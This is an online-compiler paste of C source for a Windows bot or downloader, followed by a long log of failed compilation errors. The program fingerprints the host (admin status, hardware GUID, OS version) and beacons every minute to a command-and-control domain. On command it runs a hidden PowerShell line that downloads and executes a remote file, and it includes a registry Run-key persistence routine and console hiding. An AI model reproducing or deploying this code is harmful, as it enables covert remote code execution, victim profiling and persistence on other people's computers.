fork download
  1. #include<stdio.h>
  2. #include <stdlib.h>
  3. #include<winsock2.h>
  4. #include<windows.h>
  5. #include <ws2tcpip.h>
  6. #pragma comment(lib,"ws2_32.lib") // winsock library
  7. #pragma comment(lib,"Advapi32.lib") // winsock library
  8.  
  9.  
  10. void addstartup();
  11. void adminyn(char* pc);
  12. void connect_server(SOCKET* s,char* pc,char* version); // connect to page and get
  13. void download(char* server_reply); // download and execute file
  14. void os_version(char* version);
  15. void freeme();
  16. +void computer_name(TCHAR * computername);
  17. int main()
  18. {
  19. // remove console window
  20. //freeme();
  21.  
  22. Sleep(20000); // miliseconds 1000 = 1 sec
  23. char pc[255];
  24.  
  25. // check to see if we are admin or not
  26. adminyn(pc);
  27.  
  28. // computer name
  29. TCHAR computername[MAX_COMPUTERNAME_LENGTH + 1]; // used for computer_name func
  30. computer_name(computername);
  31. //printf("%s",computername);
  32.  
  33. // windows version
  34. char version[50] ; // used for os_version func
  35. os_version(version);
  36.  
  37.  
  38. WSADATA WSA;
  39. SOCKET s; // our socket
  40. struct sockaddr_in server; // socket info for server
  41. char* message, server_reply[2000]; // holds mesage recv and message sent
  42. int recv_size; // bytes recived
  43. struct sockaddr_in SockAddr;// used with gethostbyname
  44.  
  45. char url[50] = "http://b...content-available-to-author-only...m.ua";
  46.  
  47. // initalise winsock library first param is version
  48. WSAStartup(MAKEWORD(2,2),&WSA);
  49.  
  50. // get IP from Url
  51. struct hostent *ip = gethostbyname(url);
  52. memcpy(&(SockAddr.sin_addr),ip->h_addr,ip->h_length);
  53. char* pIP = inet_ntoa(SockAddr.sin_addr);
  54.  
  55.  
  56. WSACleanup();
  57.  
  58. //addstartup(); // add to registry startup
  59.  
  60. while(1)
  61. {
  62. WSAStartup(MAKEWORD(2,2),&WSA); // initalise winsock library first param is version
  63.  
  64. // our socket info ipv4 tcp
  65. s = socket(AF_INET,SOCK_STREAM, 0);
  66.  
  67. // server info IP Port
  68. server.sin_addr.s_addr = inet_addr(pIP); // server ip
  69. server.sin_family = AF_INET;// IPV4
  70. server.sin_port = htons(12); // server port
  71.  
  72. //connect to server
  73. connect(s,(struct sockaddr *)&server,sizeof(server));
  74.  
  75. // checkin/send GET requqest to server
  76. connect_server(&s,pc,version);
  77.  
  78. //recv html from server
  79. recv_size = recv(s,server_reply,2000,0);
  80. //server_reply[recv_size] = '\0';
  81.  
  82. //check for download command in server reply
  83. if(strstr(server_reply, "download") != NULL)
  84. {
  85. download(server_reply);
  86. }
  87.  
  88. //clean up
  89. closesocket(s);
  90. WSACleanup();
  91. Sleep(60000); // miliseconds 1000 = 1 sec
  92. }
  93.  
  94. }
  95. void addstartup()
  96. {
  97. TCHAR path[100];
  98. GetModuleFileName(NULL,path,100);
  99. HKEY newValue;
  100. RegOpenKey(HKEY_CURRENT_USER ,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue);
  101. RegSetValueEx(newValue,"ghostlulz",0,REG_SZ,(LPBYTE)path,sizeof(path));
  102. RegCloseKey(newValue);
  103. }
  104.  
  105. void adminyn(char * pc)
  106. {
  107. // function to check if program is running as admin
  108.  
  109. BOOL IsUserAnAdmin();
  110. /*++
  111. Routine Description: This routine returns TRUE if the caller's
  112. process is a member of the Administrators local group. Caller is NOT
  113. expected to be impersonating anyone and is expected to be able to
  114. open its own process and process token.
  115. Arguments: None.
  116. Return Value:
  117. TRUE - Caller has Administrators local group.
  118. FALSE - Caller does not have Administrators local group. --
  119. */
  120.  
  121. BOOL b;
  122. SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
  123. PSID AdministratorsGroup;
  124. b = AllocateAndInitializeSid(
  125. &NtAuthority,
  126. 2,
  127. SECURITY_BUILTIN_DOMAIN_RID,
  128. DOMAIN_ALIAS_RID_ADMINS,
  129. 0, 0, 0, 0, 0, 0,
  130. &AdministratorsGroup);
  131. if(b)
  132. {
  133. if (!CheckTokenMembership( NULL, AdministratorsGroup, &b))
  134. {
  135. b = FALSE;
  136. }
  137. FreeSid(AdministratorsGroup);
  138. }
  139.  
  140. if(b==FALSE)
  141. {
  142. printf("user");
  143. strcpy(pc,"user");
  144. }
  145. else if(b==TRUE)
  146. {
  147. printf("admin");
  148. strcpy(pc, "admin");
  149. }
  150. }
  151.  
  152. void connect_server(SOCKET* s,char* pc,char* version)
  153. {
  154.  
  155.  
  156. HW_PROFILE_INFO hwProfileInfo;// hwid
  157. //send data to server
  158. GetCurrentHwProfile(&hwProfileInfo);// get hwid info
  159.  
  160. // format http requests
  161. char * str1;
  162. char* str2;
  163. char* str3;
  164. char* str4;
  165. char* str5;
  166. char* str20;
  167.  
  168. str1 = hwProfileInfo.szHwProfileGuid;
  169. str2 = "GET baby.kl.com.ua/connect.php?hwid=";
  170. str3 = "&version=";
  171. str20= "&pc=";
  172. str4 = "&os=windows"; //variable PC should go here
  173. str5 = " HTTP/1.0\r\nHost: 127.0.0.1\r\n\r\n";
  174.  
  175. char * message2 = (char *) malloc(1 + strlen(str1)+ strlen(str2)+ strlen(str3)+ strlen(pc)+ strlen(str5) + strlen(str20)+strlen(version)+strlen(str4)+strlen(pc) );
  176.  
  177. strcpy(message2,str2);
  178. strcat(message2,str1);
  179. strcat(message2,str3);
  180. strcat(message2,version);
  181. strcat(message2,str20);
  182. strcat(message2,pc);
  183. strcat(message2,str4);
  184. strcat(message2,str5);
  185.  
  186.  
  187. // send http requests
  188. send(*s,message2,strlen(message2),0);
  189. }
  190. void download(char* server_reply)
  191. {
  192. char* p = strstr(server_reply, "download");// copy only the line with our command
  193. char* c = p+9; // strip off the word download
  194. //filter out file name
  195. char* pp = strchr(p+9,'/');// find / char
  196. char* ppp = pp;
  197. while(pp) // loop until last char found
  198. {
  199. puts(pp+1);// pp+1 strip of the / tag
  200. ppp=pp;
  201. pp = strchr(pp+1,'/'); // find / char
  202. }
  203. // make powershell download command
  204. char * str6;
  205. char* str7;
  206. char* str8;
  207. char* str9;
  208. char* str10;
  209. char* str11;
  210. char* str12;
  211.  
  212. str6 = "PowerShell (New-Object System.Net.WebClient).DownloadFile('";
  213. str7 = p+9; // url to download from
  214. str8 = "','";
  215. str9 = ppp+1; // file name
  216. str10 = "');(New-Object -com Shell.Application).ShellExecute('";
  217. str11 =ppp+1; // file name
  218. str12 = "');";
  219.  
  220. char * message3 = (char *) malloc(1 + strlen(str6)+ strlen(str7)+ strlen(str8)+ strlen(str9)+ strlen(str10)+ strlen(str11)+ strlen(str12) );
  221.  
  222. strcpy(message3,str6);
  223. strcat(message3,str7);
  224. strcat(message3,str8);
  225. strcat(message3,str9);
  226. strcat(message3,str10);
  227. strcat(message3,str11);
  228. strcat(message3,str12);
  229.  
  230. //execute powerhsell command
  231. WinExec(message3,SW_HIDE); // download and execute file *****must use winexec not system() with sw_hide option to hide console window*****
  232. free(message3);
  233. }
  234. void freeme()
  235. {
  236. FreeConsole(); // removes console window/ runs program silent in background
  237. }
  238. void os_version(char* version)
  239. {
  240. OSVERSIONINFOEX info;
  241. ZeroMemory(&info, sizeof(OSVERSIONINFOEX));
  242. info.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
  243.  
  244. // os version
  245. GetVersionEx(&info);
  246.  
  247. //printf("Windows version: %u.%u\n", info.dwMajorVersion, info.dwMinorVersion);
  248. if(info.dwMajorVersion == 6 && info.dwMinorVersion == 1)
  249. {
  250. strcpy(version, "Windows7|Server2012");
  251.  
  252. }
  253. else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 0)
  254. {
  255. strcpy(version, "WindowsVista|server2008");
  256.  
  257. }
  258. else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 2)
  259. {
  260. strcpy(version, "Windows8|server2012");
  261.  
  262. }
  263. else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 3)
  264. {
  265. strcpy(version, "Windows8.1|Server2012R");
  266.  
  267. }
  268. else if(info.dwMajorVersion == 10 && info.dwMinorVersion == 0)
  269. {
  270. strcpy(version, "Windows10|Server2008");
  271.  
  272. }
  273. else
  274. {
  275. strcpy(version, "Unknown");
  276. }
  277.  
  278. }
  279.  
  280. void computer_name(TCHAR * computername)
  281. {
  282. TCHAR computernamee[MAX_COMPUTERNAME_LENGTH + 1]; // used for computer_name func
  283. // computer name
  284. DWORD size = sizeof(computernamee) / sizeof(computernamee[0]);
  285. GetComputerName(computernamee, &size);
  286. strcpy(computername, computernamee);
  287.  
  288. }
  289.  
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
prog.c:3:21: error: unknown type name ‘SOCKET’
 void connect_server(SOCKET* s,char* pc,char* version); // connect to page and get
                     ^~~~~~
prog.c:7:1: error: expected identifier or ‘(’ before ‘+’ token
 +void computer_name(TCHAR * computername);
 ^
prog.c: In function ‘main’:
prog.c:13:2: warning: implicit declaration of function ‘Sleep’ [-Wimplicit-function-declaration]
  Sleep(20000); // miliseconds 1000 = 1 sec
  ^~~~~
prog.c:20:2: error: unknown type name ‘TCHAR’
  TCHAR computername[MAX_COMPUTERNAME_LENGTH + 1]; // used for computer_name func
  ^~~~~
prog.c:20:21: error: ‘MAX_COMPUTERNAME_LENGTH’ undeclared (first use in this function)
  TCHAR computername[MAX_COMPUTERNAME_LENGTH + 1]; // used for computer_name func
                     ^~~~~~~~~~~~~~~~~~~~~~~
prog.c:20:21: note: each undeclared identifier is reported only once for each function it appears in
prog.c:21:2: warning: implicit declaration of function ‘computer_name’ [-Wimplicit-function-declaration]
  computer_name(computername);
  ^~~~~~~~~~~~~
prog.c:29:2: error: unknown type name ‘WSADATA’
  WSADATA WSA;
  ^~~~~~~
prog.c:30:2: error: unknown type name ‘SOCKET’
  SOCKET s; // our socket
  ^~~~~~
prog.c:31:21: error: storage size of ‘server’ isn’t known
  struct sockaddr_in server; // socket info for server
                     ^~~~~~
prog.c:34:21: error: storage size of ‘SockAddr’ isn’t known
  struct sockaddr_in SockAddr;// used with gethostbyname
                     ^~~~~~~~
prog.c:39:2: warning: implicit declaration of function ‘WSAStartup’ [-Wimplicit-function-declaration]
  WSAStartup(MAKEWORD(2,2),&WSA);
  ^~~~~~~~~~
prog.c:39:13: warning: implicit declaration of function ‘MAKEWORD’ [-Wimplicit-function-declaration]
  WSAStartup(MAKEWORD(2,2),&WSA);
             ^~~~~~~~
prog.c:42:23: warning: implicit declaration of function ‘gethostbyname’ [-Wimplicit-function-declaration]
  struct hostent *ip = gethostbyname(url);
                       ^~~~~~~~~~~~~
prog.c:42:23: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
prog.c:43:2: warning: implicit declaration of function ‘memcpy’ [-Wimplicit-function-declaration]
  memcpy(&(SockAddr.sin_addr),ip->h_addr,ip->h_length);
  ^~~~~~
prog.c:43:2: warning: incompatible implicit declaration of built-in function ‘memcpy’
prog.c:43:2: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’
prog.c:43:32: error: dereferencing pointer to incomplete type ‘struct hostent’
  memcpy(&(SockAddr.sin_addr),ip->h_addr,ip->h_length);
                                ^~
prog.c:44:14: warning: implicit declaration of function ‘inet_ntoa’ [-Wimplicit-function-declaration]
  char* pIP = inet_ntoa(SockAddr.sin_addr);
              ^~~~~~~~~
prog.c:47:2: warning: implicit declaration of function ‘WSACleanup’ [-Wimplicit-function-declaration]
  WSACleanup();
  ^~~~~~~~~~
prog.c:56:7: warning: implicit declaration of function ‘socket’ [-Wimplicit-function-declaration]
   s = socket(AF_INET,SOCK_STREAM, 0);
       ^~~~~~
prog.c:56:14: error: ‘AF_INET’ undeclared (first use in this function)
   s = socket(AF_INET,SOCK_STREAM, 0);
              ^~~~~~~
prog.c:56:22: error: ‘SOCK_STREAM’ undeclared (first use in this function)
   s = socket(AF_INET,SOCK_STREAM, 0);
                      ^~~~~~~~~~~
prog.c:59:28: warning: implicit declaration of function ‘inet_addr’ [-Wimplicit-function-declaration]
   server.sin_addr.s_addr = inet_addr(pIP); // server ip
                            ^~~~~~~~~
prog.c:61:21: warning: implicit declaration of function ‘htons’ [-Wimplicit-function-declaration]
   server.sin_port = htons(12); // server port
                     ^~~~~
prog.c:64:3: warning: implicit declaration of function ‘connect’ [-Wimplicit-function-declaration]
   connect(s,(struct sockaddr *)&server,sizeof(server));
   ^~~~~~~
prog.c:67:3: warning: implicit declaration of function ‘connect_server’ [-Wimplicit-function-declaration]
   connect_server(&s,pc,version);
   ^~~~~~~~~~~~~~
prog.c:70:15: warning: implicit declaration of function ‘recv’ [-Wimplicit-function-declaration]
   recv_size = recv(s,server_reply,2000,0);
               ^~~~
prog.c:74:6: warning: implicit declaration of function ‘strstr’ [-Wimplicit-function-declaration]
   if(strstr(server_reply, "download") != NULL)
      ^~~~~~
prog.c:74:6: warning: incompatible implicit declaration of built-in function ‘strstr’
prog.c:74:6: note: include ‘<string.h>’ or provide a declaration of ‘strstr’
prog.c:74:42: error: ‘NULL’ undeclared (first use in this function)
   if(strstr(server_reply, "download") != NULL)
                                          ^~~~
prog.c:80:3: warning: implicit declaration of function ‘closesocket’ [-Wimplicit-function-declaration]
   closesocket(s);
   ^~~~~~~~~~~
prog.c:34:21: warning: unused variable ‘SockAddr’ [-Wunused-variable]
  struct sockaddr_in SockAddr;// used with gethostbyname
                     ^~~~~~~~
prog.c:33:6: warning: variable ‘recv_size’ set but not used [-Wunused-but-set-variable]
  int recv_size; // bytes recived
      ^~~~~~~~~
prog.c:32:8: warning: unused variable ‘message’ [-Wunused-variable]
  char* message, server_reply[2000]; // holds mesage recv and message sent
        ^~~~~~~
prog.c:31:21: warning: unused variable ‘server’ [-Wunused-variable]
  struct sockaddr_in server; // socket info for server
                     ^~~~~~
prog.c:20:8: warning: unused variable ‘computername’ [-Wunused-variable]
  TCHAR computername[MAX_COMPUTERNAME_LENGTH + 1]; // used for computer_name func
        ^~~~~~~~~~~~
prog.c: In function ‘addstartup’:
prog.c:88:3: error: unknown type name ‘TCHAR’
   TCHAR path[100];
   ^~~~~
prog.c:89:3: warning: implicit declaration of function ‘GetModuleFileName’ [-Wimplicit-function-declaration]
   GetModuleFileName(NULL,path,100);
   ^~~~~~~~~~~~~~~~~
prog.c:89:21: error: ‘NULL’ undeclared (first use in this function)
   GetModuleFileName(NULL,path,100);
                     ^~~~
prog.c:90:3: error: unknown type name ‘HKEY’
   HKEY newValue;
   ^~~~
prog.c:91:3: warning: implicit declaration of function ‘RegOpenKey’ [-Wimplicit-function-declaration]
   RegOpenKey(HKEY_CURRENT_USER ,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue);
   ^~~~~~~~~~
prog.c:91:14: error: ‘HKEY_CURRENT_USER’ undeclared (first use in this function)
   RegOpenKey(HKEY_CURRENT_USER ,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue);
              ^~~~~~~~~~~~~~~~~
prog.c:92:3: warning: implicit declaration of function ‘RegSetValueEx’ [-Wimplicit-function-declaration]
   RegSetValueEx(newValue,"ghostlulz",0,REG_SZ,(LPBYTE)path,sizeof(path));
   ^~~~~~~~~~~~~
prog.c:92:40: error: ‘REG_SZ’ undeclared (first use in this function)
   RegSetValueEx(newValue,"ghostlulz",0,REG_SZ,(LPBYTE)path,sizeof(path));
                                        ^~~~~~
prog.c:92:48: error: ‘LPBYTE’ undeclared (first use in this function)
   RegSetValueEx(newValue,"ghostlulz",0,REG_SZ,(LPBYTE)path,sizeof(path));
                                                ^~~~~~
prog.c:92:55: error: expected ‘)’ before ‘path’
   RegSetValueEx(newValue,"ghostlulz",0,REG_SZ,(LPBYTE)path,sizeof(path));
                                                       ^~~~
prog.c:93:3: warning: implicit declaration of function ‘RegCloseKey’ [-Wimplicit-function-declaration]
   RegCloseKey(newValue);
   ^~~~~~~~~~~
prog.c: In function ‘adminyn’:
prog.c:100:2: error: unknown type name ‘BOOL’
  BOOL IsUserAnAdmin();
  ^~~~
prog.c:112:2: error: unknown type name ‘BOOL’
  BOOL b;
  ^~~~
prog.c:113:2: error: unknown type name ‘SID_IDENTIFIER_AUTHORITY’
  SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
  ^~~~~~~~~~~~~~~~~~~~~~~~
prog.c:113:41: error: ‘SECURITY_NT_AUTHORITY’ undeclared (first use in this function)
  SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
                                         ^~~~~~~~~~~~~~~~~~~~~
prog.c:114:2: error: unknown type name ‘PSID’
  PSID AdministratorsGroup;
  ^~~~
prog.c:115:6: warning: implicit declaration of function ‘AllocateAndInitializeSid’ [-Wimplicit-function-declaration]
  b = AllocateAndInitializeSid(
      ^~~~~~~~~~~~~~~~~~~~~~~~
prog.c:118:3: error: ‘SECURITY_BUILTIN_DOMAIN_RID’ undeclared (first use in this function)
   SECURITY_BUILTIN_DOMAIN_RID,
   ^~~~~~~~~~~~~~~~~~~~~~~~~~~
prog.c:119:3: error: ‘DOMAIN_ALIAS_RID_ADMINS’ undeclared (first use in this function)
   DOMAIN_ALIAS_RID_ADMINS,
   ^~~~~~~~~~~~~~~~~~~~~~~
prog.c:124:8: warning: implicit declaration of function ‘CheckTokenMembership’ [-Wimplicit-function-declaration]
   if (!CheckTokenMembership( NULL, AdministratorsGroup, &b))
        ^~~~~~~~~~~~~~~~~~~~
prog.c:124:30: error: ‘NULL’ undeclared (first use in this function)
   if (!CheckTokenMembership( NULL, AdministratorsGroup, &b))
                              ^~~~
prog.c:126:9: error: ‘FALSE’ undeclared (first use in this function)
     b = FALSE;
         ^~~~~
prog.c:128:3: warning: implicit declaration of function ‘FreeSid’ [-Wimplicit-function-declaration]
   FreeSid(AdministratorsGroup);
   ^~~~~~~
prog.c:133:3: warning: implicit declaration of function ‘printf’ [-Wimplicit-function-declaration]
   printf("user");
   ^~~~~~
prog.c:133:3: warning: incompatible implicit declaration of built-in function ‘printf’
prog.c:133:3: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’
prog.c:134:3: warning: implicit declaration of function ‘strcpy’ [-Wimplicit-function-declaration]
   strcpy(pc,"user");
   ^~~~~~
prog.c:134:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
prog.c:134:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:136:13: error: ‘TRUE’ undeclared (first use in this function)
  else if(b==TRUE)
             ^~~~
prog.c:138:3: warning: incompatible implicit declaration of built-in function ‘printf’
   printf("admin");
   ^~~~~~
prog.c:138:3: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’
prog.c:139:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
   strcpy(pc, "admin");
   ^~~~~~
prog.c:139:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c: At top level:
prog.c:143:21: error: unknown type name ‘SOCKET’
 void connect_server(SOCKET* s,char* pc,char* version)
                     ^~~~~~
prog.c: In function ‘download’:
prog.c:183:12: warning: incompatible implicit declaration of built-in function ‘strstr’
  char* p = strstr(server_reply, "download");// copy only the line with our command
            ^~~~~~
prog.c:183:12: note: include ‘<string.h>’ or provide a declaration of ‘strstr’
prog.c:186:13: warning: implicit declaration of function ‘strchr’ [-Wimplicit-function-declaration]
  char* pp = strchr(p+9,'/');// find / char
             ^~~~~~
prog.c:186:13: warning: incompatible implicit declaration of built-in function ‘strchr’
prog.c:186:13: note: include ‘<string.h>’ or provide a declaration of ‘strchr’
prog.c:190:3: warning: implicit declaration of function ‘puts’ [-Wimplicit-function-declaration]
   puts(pp+1);// pp+1 strip of the / tag
   ^~~~
prog.c:211:29: warning: implicit declaration of function ‘malloc’ [-Wimplicit-function-declaration]
  char * message3 = (char *) malloc(1 + strlen(str6)+ strlen(str7)+ strlen(str8)+ strlen(str9)+ strlen(str10)+ strlen(str11)+ strlen(str12) );
                             ^~~~~~
prog.c:211:29: warning: incompatible implicit declaration of built-in function ‘malloc’
prog.c:211:29: note: include ‘<stdlib.h>’ or provide a declaration of ‘malloc’
prog.c:211:40: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
  char * message3 = (char *) malloc(1 + strlen(str6)+ strlen(str7)+ strlen(str8)+ strlen(str9)+ strlen(str10)+ strlen(str11)+ strlen(str12) );
                                        ^~~~~~
prog.c:211:40: warning: incompatible implicit declaration of built-in function ‘strlen’
prog.c:211:40: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
prog.c:213:2: warning: incompatible implicit declaration of built-in function ‘strcpy’
  strcpy(message3,str6);
  ^~~~~~
prog.c:213:2: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:214:2: warning: implicit declaration of function ‘strcat’ [-Wimplicit-function-declaration]
  strcat(message3,str7);
  ^~~~~~
prog.c:214:2: warning: incompatible implicit declaration of built-in function ‘strcat’
prog.c:214:2: note: include ‘<string.h>’ or provide a declaration of ‘strcat’
prog.c:222:2: warning: implicit declaration of function ‘WinExec’ [-Wimplicit-function-declaration]
  WinExec(message3,SW_HIDE); // download and execute file *****must use winexec not system() with sw_hide option to hide console window*****
  ^~~~~~~
prog.c:222:19: error: ‘SW_HIDE’ undeclared (first use in this function)
  WinExec(message3,SW_HIDE); // download and execute file *****must use winexec not system() with sw_hide option to hide console window*****
                   ^~~~~~~
prog.c:223:2: warning: implicit declaration of function ‘free’ [-Wimplicit-function-declaration]
  free(message3);
  ^~~~
prog.c:223:2: warning: incompatible implicit declaration of built-in function ‘free’
prog.c:223:2: note: include ‘<stdlib.h>’ or provide a declaration of ‘free’
prog.c:184:8: warning: unused variable ‘c’ [-Wunused-variable]
  char* c = p+9; // strip off the word download
        ^
prog.c: In function ‘freeme’:
prog.c:227:3: warning: implicit declaration of function ‘FreeConsole’ [-Wimplicit-function-declaration]
   FreeConsole(); // removes console window/ runs program silent in background
   ^~~~~~~~~~~
prog.c: In function ‘os_version’:
prog.c:231:2: error: unknown type name ‘OSVERSIONINFOEX’
  OSVERSIONINFOEX info;
  ^~~~~~~~~~~~~~~
prog.c:232:5: warning: implicit declaration of function ‘ZeroMemory’ [-Wimplicit-function-declaration]
     ZeroMemory(&info, sizeof(OSVERSIONINFOEX));
     ^~~~~~~~~~
prog.c:232:30: error: ‘OSVERSIONINFOEX’ undeclared (first use in this function)
     ZeroMemory(&info, sizeof(OSVERSIONINFOEX));
                              ^~~~~~~~~~~~~~~
prog.c:233:9: error: request for member ‘dwOSVersionInfoSize’ in something not a structure or union
     info.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
         ^
prog.c:236:5: warning: implicit declaration of function ‘GetVersionEx’ [-Wimplicit-function-declaration]
     GetVersionEx(&info);
     ^~~~~~~~~~~~
prog.c:239:9: error: request for member ‘dwMajorVersion’ in something not a structure or union
  if(info.dwMajorVersion == 6 && info.dwMinorVersion == 1)
         ^
prog.c:239:37: error: request for member ‘dwMinorVersion’ in something not a structure or union
  if(info.dwMajorVersion == 6 && info.dwMinorVersion == 1)
                                     ^
prog.c:241:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
   strcpy(version, "Windows7|Server2012");
   ^~~~~~
prog.c:241:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:244:14: error: request for member ‘dwMajorVersion’ in something not a structure or union
  else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 0)
              ^
prog.c:244:42: error: request for member ‘dwMinorVersion’ in something not a structure or union
  else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 0)
                                          ^
prog.c:246:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
   strcpy(version, "WindowsVista|server2008");
   ^~~~~~
prog.c:246:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:249:14: error: request for member ‘dwMajorVersion’ in something not a structure or union
  else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 2)
              ^
prog.c:249:42: error: request for member ‘dwMinorVersion’ in something not a structure or union
  else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 2)
                                          ^
prog.c:251:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
   strcpy(version, "Windows8|server2012");
   ^~~~~~
prog.c:251:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:254:14: error: request for member ‘dwMajorVersion’ in something not a structure or union
  else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 3)
              ^
prog.c:254:42: error: request for member ‘dwMinorVersion’ in something not a structure or union
  else if(info.dwMajorVersion == 6 && info.dwMinorVersion == 3)
                                          ^
prog.c:256:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
   strcpy(version, "Windows8.1|Server2012R");
   ^~~~~~
prog.c:256:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:259:14: error: request for member ‘dwMajorVersion’ in something not a structure or union
  else if(info.dwMajorVersion == 10 && info.dwMinorVersion == 0)
              ^
prog.c:259:43: error: request for member ‘dwMinorVersion’ in something not a structure or union
  else if(info.dwMajorVersion == 10 && info.dwMinorVersion == 0)
                                           ^
prog.c:261:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
   strcpy(version, "Windows10|Server2008");
   ^~~~~~
prog.c:261:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c:266:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
   strcpy(version, "Unknown");
   ^~~~~~
prog.c:266:3: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
prog.c: At top level:
prog.c:271:20: error: unknown type name ‘TCHAR’
 void computer_name(TCHAR * computername)
                    ^~~~~
stdout
Standard output is empty